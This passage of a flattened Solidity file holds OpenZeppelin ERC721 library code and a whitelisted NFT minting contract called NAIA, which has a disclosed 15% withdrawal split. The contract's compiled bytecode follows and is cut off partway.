/** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/NAIA.sol pragma solidity >=0.7.0 <0.9.0; contract NAIA is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.1 ether; uint256 public maxSupply = 999; uint256 public maxMintAmount = 40; uint256 public nftPerAddressLimit = 40; bool public paused = false; bool public revealed = false; bool public onlyWhitelisted = true; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; mapping(address => uint256) public allowlist; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); mint(30); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { if(onlyWhitelisted == true) { require(allowlist[msg.sender] > 0, "not eligible for allowlist mint"); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); } require(msg.value >= cost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function isWhitelisted(address _address) public view returns (uint256) { return allowlist[_address]; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function WhitelistUsers(address[] memory addresses, uint256 numSlots) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { allowlist[addresses[i]] = numSlots; } } function withdraw() public payable onlyOwner { // This will pay MyutaCirus 15% of the initial sale. // ============================================================================= (bool hs, ) = payable(0xfe358947A5Da55F60f349Fb0dFD5b4eb47349058).call{value: address(this).balance * 15 / 100}(""); require(hs); // ============================================================================= // This will payout the owner 85% of the contract balance. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } }
0x60806040526004361061027d5760003560e01c80636352211e1161014f578063a7cd52cb116100c1578063d0eb26b01161007a578063d0eb26b014610765578063d5abeb0114610785578063da3ef23f1461079b578063e985e9c5146107bb578063f2c4ce1e14610804578063f2fde38b1461082457600080fd5b8063a7cd52cb146106ad578063b88d4fde146106da578063ba4e5c49146106fa578063ba7d2c761461071a578063c668286214610730578063c87b56dd1461074557600080fd5b80638da5cb5b116101135780638da5cb5b1461061257806395d89b41146106305780639c70b51214610645578063a0712d6814610665578063a22cb46514610678578063a475b5dd1461069857600080fd5b80636352211e146105885780636c0360eb146105a857806370a08231146105bd578063715018a6146105dd5780637f00c7a6146105f257600080fd5b80632f745c59116101f3578063438b6300116101ac578063438b6300146104c257806344a0d68a146104ef5780634f6ccce71461050f578063518302271461052f57806355f804b31461054e5780635c975abb1461056e57600080fd5b80632f745c59146104045780633af32abf146104245780633c9527641461045a5780633ccfd60b1461047a578063415219f31461048257806342842e0e146104a257600080fd5b8063095ea7b311610245578063095ea7b31461034857806313faede61461036857806318160ddd1461038c57806318cae269146103a1578063239c70ae146103ce57806323b872dd146103e457600080fd5b806301ffc9a71461028257806302329a29146102b757806306fdde03146102d9578063081812fc146102fb578063081c8c4414610333575b600080fd5b34801561028e57600080fd5b506102a261029d36600461232d565b610844565b60405190151581526020015b60405180910390f35b3480156102c357600080fd5b506102d76102d236600461235f565b61086f565b005b3480156102e557600080fd5b506102ee6108b5565b6040516102ae91906123d2565b34801561030757600080fd5b5061031b6103163660046123e5565b610947565b6040516001600160a01b0390911681526020016102ae565b34801561033f57600080fd5b506102ee6109dc565b34801561035457600080fd5b506102d7610363366004612415565b610a6a565b34801561037457600080fd5b5061037e600e5481565b6040519081526020016102ae565b34801561039857600080fd5b5060085461037e565b3480156103ad57600080fd5b5061037e6103bc36600461243f565b60146020526000908152604090205481565b3480156103da57600080fd5b5061037e60105481565b3480156103f057600080fd5b506102d76103ff36600461245a565b610b80565b34801561041057600080fd5b5061037e61041f366004612415565b610bb1565b34801561043057600080fd5b5061037e61043f36600461243f565b6001600160a01b031660009081526015602052604090205490565b34801561046657600080fd5b506102d761047536600461235f565b610c47565b6102d7610c8d565b34801561048e57600080fd5b506102d761049d3660046124dd565b610da9565b3480156104ae57600080fd5b506102d76104bd36600461245a565b610e35565b3480156104ce57600080fd5b506104e26104dd36600461243f565b610e50565b6040516102ae9190612590565b3480156104fb57600080fd5b506102d761050a3660046123e5565b610ef2565b34801561051b57600080fd5b5061037e61052a3660046123e5565b610f21565b34801561053b57600080fd5b506012546102a290610100900460ff1681565b34801561055a57600080fd5b506102d761056936600461262c565b610fb4565b34801561057a57600080fd5b506012546102a29060ff1681565b34801561059457600080fd5b5061031b6105a33660046123e5565b610ff1565b3480156105b457600080fd5b506102ee611068565b3480156105c957600080fd5b5061037e6105d836600461243f565b611075565b3480156105e957600080fd5b506102d76110fc565b3480156105fe57600080fd5b506102d761060d3660046123e5565b611132565b34801561061e57600080fd5b50600a546001600160a01b031661031b565b34801561063c57600080fd5b506102ee611161565b34801561065157600080fd5b506012546102a29062010000900460ff1681565b6102d76106733660046123e5565b611170565b34801561068457600080fd5b506102d7610693366004612675565b61145e565b3480156106a457600080fd5b506102d7611469565b3480156106b957600080fd5b5061037e6106c836600461243f565b60156020526000908152604090205481565b3480156106e657600080fd5b506102d76106f53660046126a8565b6114a4565b34801561070657600080fd5b5061031b6107153660046123e5565b6114dc565b34801561072657600080fd5b5061037e60115481565b34801561073c57600080fd5b506102ee611506565b34801561075157600080fd5b506102ee6107603660046123e5565b611513565b34801561077157600080fd5b506102d76107803660046123e5565b611692565b34801561079157600080fd5b5061037e600f5481565b3480156107a757600080fd5b506102d76107b636600461262c565b6116c1565b3480156107c757600080fd5b506102a26107d6366004612724565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561081057600080fd5b506102d761081f36600461262c565b6116fe565b34801561083057600080fd5b506102d761083f36600461243f565b61173b565b60006001600160e01b0319821663780e9d6360e01b14806108695750610869826117dc565b92915050565b600a546001600160a01b031633146108a25760405162461bcd60e51b81526004016108999061274e565b60405180910390fd5b6012805460ff1916911515919091179055565b6060600080546108c490612783565b80601f01602080910402602001604051908101604052809291908181526020018280546108f090612783565b801561093d5780601f106109125761010080835404028352916020019161093d565b820191906000526020600020905b81548152906001019060200180831161092057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109c05760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610899565b506000908152600460205260409020546001600160a01b031690565b600d80546109e990612783565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1590612783565b8015610a625780601f10610a3757610100808354040283529160200191610a62565b820191906000526020600020905b815481529060010190602001808311610a4557829003601f168201915b505050505081565b6000610a7582610ff1565b9050806001600160a01b0316836001600160a01b03161415610ae35760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610899565b336001600160a01b0382161480610aff5750610aff81336107d6565b610b715760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610899565b610b7b838361182c565b505050565b610b8a338261189a565b610ba65760405162461bcd60e51b8152600401610899906127be565b610b7b838383611991565b6000610bbc83611075565b8210610c1e5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610899565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610c715760405162461bcd60e51b81526004016108999061274e565b60128054911515620100000262ff000019909216919091179055565b600a546001600160a01b03163314610cb75760405162461bcd60e51b81526004016108999061274e565b600073fe358947a5da55f60f349fb0dfd5b4eb473490586064610cdb47600f612825565b610ce5919061285a565b604051600081818185875af1925050503d8060008114610d21576040519150601f19603f3d011682016040523d82523d6000602084013e610d26565b606091505b5050905080610d3457600080fd5b6000610d48600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610d92576040519150601f19603f3d011682016040523d82523d6000602084013e610d97565b606091505b5050905080610da557600080fd5b5050565b600a546001600160a01b03163314610dd35760405162461bcd60e51b81526004016108999061274e565b60005b8251811015610b7b578160156000858481518110610df657610df661286e565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055508080610e2d90612884565b915050610dd6565b610b7b838383604051806020016040528060008152506114a4565b60606000610e5d83611075565b905060008167ffffffffffffffff811115610e7a57610e7a612496565b604051908082528060200260200182016040528015610ea3578160200160208202803683370190505b50905060005b82811015610eea57610ebb8582610bb1565b828281518110610ecd57610ecd61286e565b602090810291909101015280610ee281612884565b915050610ea9565b509392505050565b600a546001600160a01b03163314610f1c5760405162461bcd60e51b81526004016108999061274e565b600e55565b6000610f2c60085490565b8210610f8f5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610899565b60088281548110610fa257610fa261286e565b90600052602060002001549050919050565b600a546001600160a01b03163314610fde5760405162461bcd60e51b81526004016108999061274e565b8051610da590600b90602084019061227e565b6000818152600260205260408120546001600160a01b0316806108695760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610899565b600b80546109e990612783565b60006001600160a01b0382166110e05760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610899565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146111265760405162461bcd60e51b81526004016108999061274e565b6111306000611b3c565b565b600a546001600160a01b0316331461115c5760405162461bcd60e51b81526004016108999061274e565b601055565b6060600180546108c490612783565b60125460ff16156111bc5760405162461bcd60e51b81526020600482015260166024820152751d1a194818dbdb9d1c9858dd081a5cc81c185d5cd95960521b6044820152606401610899565b60006111c760085490565b9050600082116112195760405162461bcd60e51b815260206004820152601b60248201527f6e65656420746f206d696e74206174206c656173742031204e465400000000006044820152606401610899565b6010548211156112775760405162461bcd60e51b8152602060048201526024808201527f6d6178206d696e7420616d6f756e74207065722073657373696f6e20657863656044820152631959195960e21b6064820152608401610899565b600f54611284838361289f565b11156112cb5760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b6044820152606401610899565b600a546001600160a01b0316331461140e5760125462010000900460ff161515600114156113bc573360009081526015602052604090205461134f5760405162461bcd60e51b815260206004820152601f60248201527f6e6f7420656c696769626c6520666f7220616c6c6f776c697374206d696e74006044820152606401610899565b3360009081526014602052604090205460115461136c848361289f565b11156113ba5760405162461b